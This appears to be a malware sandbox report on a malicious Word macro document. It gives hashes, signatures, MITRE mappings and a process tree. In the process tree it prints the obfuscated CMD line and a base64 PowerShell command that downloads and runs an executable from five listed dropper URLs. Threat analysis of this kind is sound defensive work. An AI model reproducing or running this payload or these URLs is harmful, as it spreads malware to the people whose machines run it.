535ababeb7ea40cdc0a3fbcca2039e73bbc5224d8d246fab4a8077b67588c8e8

General

Target

fcb90055f209cb85ba4d3462c20e1082_JaffaCakes118.doc
Size

77KB
MD5

fcb90055f209cb85ba4d3462c20e1082
SHA1

d436421976833148ed4976a4d25a4b9e8760cc69
SHA256

535ababeb7ea40cdc0a3fbcca2039e73bbc5224d8d246fab4a8077b67588c8e8
SHA512

1dce35da06df4a294c4e0330c62183bcf4c08e4af579ab0945f7dc88b82062a0ca047fc1adfc393e4c84bf7adf1decdaf523eb326c5aa7c6877985671a1eb198
SSDEEP

1536:jptJlmrJpmxlRw99NBP+aEsCxaupItj8SWnQt:Nte2dw99fBupuj

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://4surskate.com/vKi

exe.dropper

http://riakom.com/T

exe.dropper

http://zavod-pt.com/T

exe.dropper

http://natco-pharma.com/PRBHaG

exe.dropper

http://bitwaopoznan.pl//gp6

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2716	2388	CMD.exe	29

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	2820	powershell.exe
8	2820	powershell.exe
10	2820	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2716	CMD.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2388	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2388	WINWORD.EXE
2388	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 2384	2388	WINWORD.EXE	30
PID 2388 wrote to memory of 2384	2388	WINWORD.EXE	30
PID 2388 wrote to memory of 2384	2388	WINWORD.EXE	30
PID 2388 wrote to memory of 2384	2388	WINWORD.EXE	30
PID 2388 wrote to memory of 2716	2388	WINWORD.EXE	31
PID 2388 wrote to memory of 2716	2388	WINWORD.EXE	31
PID 2388 wrote to memory of 2716	2388	WINWORD.EXE	31
PID 2388 wrote to memory of 2716	2388	WINWORD.EXE	31
PID 2716 wrote to memory of 2820	2716	CMD.exe	35
PID 2716 wrote to memory of 2820	2716	CMD.exe	35
PID 2716 wrote to memory of 2820	2716	CMD.exe	35
PID 2716 wrote to memory of 2820	2716	CMD.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fcb90055f209cb85ba4d3462c20e1082_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2384
- C:\Windows\SysWOW64\CMD.exe
  CMD /v:^O^ ^ /R" ^Se^T ^ ^ ^h6^AV==^AAIAACA^g^A^A^IAAC^A^g^AAIAACA^g^AAI^AAC^AgA^A^IAACAgA^AI^AAC^A^9^B^Qf^AsHA^oB^wY^AQH^AhBw^YA^0HA^7A^w^aAE^GAlBgc^AI^G^A^7A^wV^A^YE^Ak^B^A^JAACAtBQZA^Q^H^A^JBQL^A^U^G^Ar^B^wb^AY^H^AuB^QS^As^DA^p^AwVAYE^A^kBA^JAAC^A^s^A^QQ^A^wEAoB^AJAgCA^l^BAbAk^GA^G^BA^Z^AE^G^AvBA^b^A4^GA^3B^wb^AQ^EAuA^g^Z^A8EAB^B^A^J^A^s^HA5BgcA^Q^HA^7^B^QKAQG^A^o^B^AV^A^QCA^g^Ag^bA^k^GA^g^AQQA^wE^A^oB^AJAgC^Ao^B^w^YAE^GAlBgc^A^8^G^A^m^B^wOAcC^A^lBA^e^AUG^Au^A^w^J^AsCApB^gc^A^g^F^A^k^A^w^K^AcC^AcBwJ^AsC^A^j^BQ^aAw^GAiBQ^d^A^AH^A6^A^gd^A4^GAlBA^J^A^0D^AX^B^gR^A^QG^A^kA^wOAcCA^y^AA^M^A^Q^DAnA^AI^A0^DA^gAQ^aA^IH^AYB^A^J^AsD^A^pAw^J^A^A^E^An^A^A^K^A^Q^HA^p^BAb^AAHA^TBgLAcCA^2^AAc^AcGAv^AwLA^wGAwB^g^LA^4GAh^B^g^bA^o^H^AvB^AcA^8^GAhB^wdAQH^ApB^g^Y^A^8C^AvAgO^A^A^HA0^BA^dAgG^AABwR^AE^GA^I^B^gQA^IF^AQ^B^wLA0^GAv^Bw^YA4CA^hB^Q^b^AIHA^hBA^a^AA^H^A^tAwbAM^GA0^BQY^A4GAvA^wL^A^o^D^A^wB^A^dA^QH^Ao^BA^Q^AQFAvAQ^bA8^G^Aj^B^gL^AQ^H^A^w^B^Q^LA^Q^G^Av^B^gdAEGA^6B^wLA8CA^6^AAc^AQ^HA^0^B^Aa^AAE^A^U^B^wL^A0G^AvB^w^YA^4C^At^Bwb^A^sG^A^h^B^Q^aA^IHAvA^wL^Ao^D^Aw^B^Ad^A^QH^Ao^BA^QAk^G^A^L^B^g^dA8C^A^tB^w^bAM^G^A^u^A^QZ^A^Q^H^Ah^Bwa^A^M^HA^y^B^Q^d^AM^HA^0^A^wLA^8CA^6AAc^A^QHA0^BA^aAcC^A9^AAZAg^G^AUB^AJ^AsDA^0^B^gb^AUGAp^BA^bAMEAi^BQ^Z^AcF^AuA^A^dA^U^G^A^O^B^A^I^AQH^AjB^Q^Z^AoG^A^iBw^bA0C^A^3BQZA^4^GA^9^A^g^Z^A^8E^A^B^BAJ^ ^e^-^ lle^hsr^e^wop&& ^F^or /^l %k ^iN ( ^8^81^ -^1^ ^ ^0)^Do ^s^ET u^f^y^d=!u^f^y^d!!^h6^AV:~ %k, 1!& i^f %k l^s^S ^1 C^aL^L %u^f^y^d:~ ^-^8^82% "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABBAE8AZgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABUAGgAZAA9ACcAaAB0AHQAcAA6AC8ALwA0AHMAdQByAHMAawBhAHQAZQAuAGMAbwBtAC8AdgBLAGkAQABoAHQAdABwADoALwAvAHIAaQBhAGsAbwBtAC4AYwBvAG0ALwBUAEAAaAB0AHQAcAA6AC8ALwB6AGEAdgBvAGQALQBwAHQALgBjAG8AbQAvAFQAQABoAHQAdABwADoALwAvAG4AYQB0AGMAbwAtAHAAaABhAHIAbQBhAC4AYwBvAG0ALwBQAFIAQgBIAGEARwBAAGgAdAB0AHAAOgAvAC8AYgBpAHQAdwBhAG8AcABvAHoAbgBhAG4ALgBwAGwALwAvAGcAcAA2ACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABYAHIAaQAgAD0AIAAnADQAMAAyACcAOwAkAGQARgBXAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAFgAcgBpACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAEwAQQAgAGkAbgAgACQAVABoAGQAKQB7AHQAcgB5AHsAJABBAE8AZgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABoAEwAQQAsACAAJABkAEYAVwApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEYAVwA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
c4c9cd590f3fc1dbbd71b41c99b3ecc8

SHA1
0abe69eda7b93d65b793e9dbc72683d3b7bac960

SHA256
5d44b2607960f6416117cfc5cb80bdb3d89e4d5e6f33e8d560be92105a26ef5d

SHA512
f855431f00fc77c9fc72009ce2e57e79023493b98db5f9e7847283b3f119aa3c5f569cf2d4cf8c3a45995b0460d2e88746843a377ccfc59b47149fec027010fd

Download Submit
memory/2388-26-0x0000000006760000-0x0000000006860000-memory.dmp

Filesize
1024KB

Download
memory/2388-2-0x0000000071A7D000-0x0000000071A88000-memory.dmp

Filesize
44KB

Download
memory/2388-30-0x0000000006760000-0x0000000006860000-memory.dmp

Filesize
1024KB

Download
memory/2388-29-0x0000000006760000-0x0000000006860000-memory.dmp

Filesize
1024KB

Download
memory/2388-28-0x0000000006760000-0x0000000006860000-memory.dmp

Filesize
1024KB

Download
memory/2388-0-0x000000002F1D1000-0x000000002F1D2000-memory.dmp

Filesize
4KB

Download
memory/2388-33-0x0000000071A7D000-0x0000000071A88000-memory.dmp

Filesize
44KB

Download
memory/2388-34-0x0000000006760000-0x0000000006860000-memory.dmp

Filesize
1024KB

Download
memory/2388-35-0x0000000006760000-0x0000000006860000-memory.dmp

Filesize
1024KB

Download
memory/2388-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2388-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2388-51-0x0000000071A7D000-0x0000000071A88000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads